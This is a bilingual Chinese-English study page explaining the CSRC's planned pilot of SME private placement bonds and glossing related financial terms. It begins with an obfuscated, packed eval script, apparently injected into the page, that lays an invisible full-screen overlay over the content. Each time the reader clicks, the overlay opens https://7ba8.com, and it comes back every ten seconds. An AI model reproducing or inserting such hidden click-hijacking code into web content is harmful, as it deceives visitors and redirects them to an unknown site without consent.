<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>证监会有关部门负责人近日表示，为解决中小微企业、高科技创新型企业融资难的问题，将推出中小企业私募债，目前制度框架已基本形成，具体试行办法即将推出。
请看报道：
China's capital market regulator is encouraging financial support for small businesses by accelerating the launch of a unique national over-the-counter market and a pilot program for issuing privately raised company bonds.
证监会将加快筹建全国性场外交易市场，并建立中小企业私募债发行试点，以鼓励对小企业的财务支持。
上面报道中的privately raised company bonds就是私募债，也可以叫Private Placement Bonds，私募债是发行者向与其有特定关系的少数投资者发行的债券。这种债券不进行public issue（公开发行），而是在over-the-counter market或OTC market（场外交易市场）进行交易，参与交易的大多是institutional investors（机构投资者），交易需遵守针对non-listed public company（非上市公众公司）的相关规定。
这种私募债的return rate（回报率）最高或将是benchmark debt interest rate（贷款基准利率）的三倍。我国发展中小企业私募债券，其目的不是着眼于“high yield, high risk”（高收益、高风险）的形式特征，而是为了缓解small and medium-sized non-listed companies（中小非上市公司）融资难的问题，为公司提供除股市和bank lending（银行借贷）之外的融资方式。有人认为此举将缓解目前的non-governmental financing（民间融资）困局。 |
|
收藏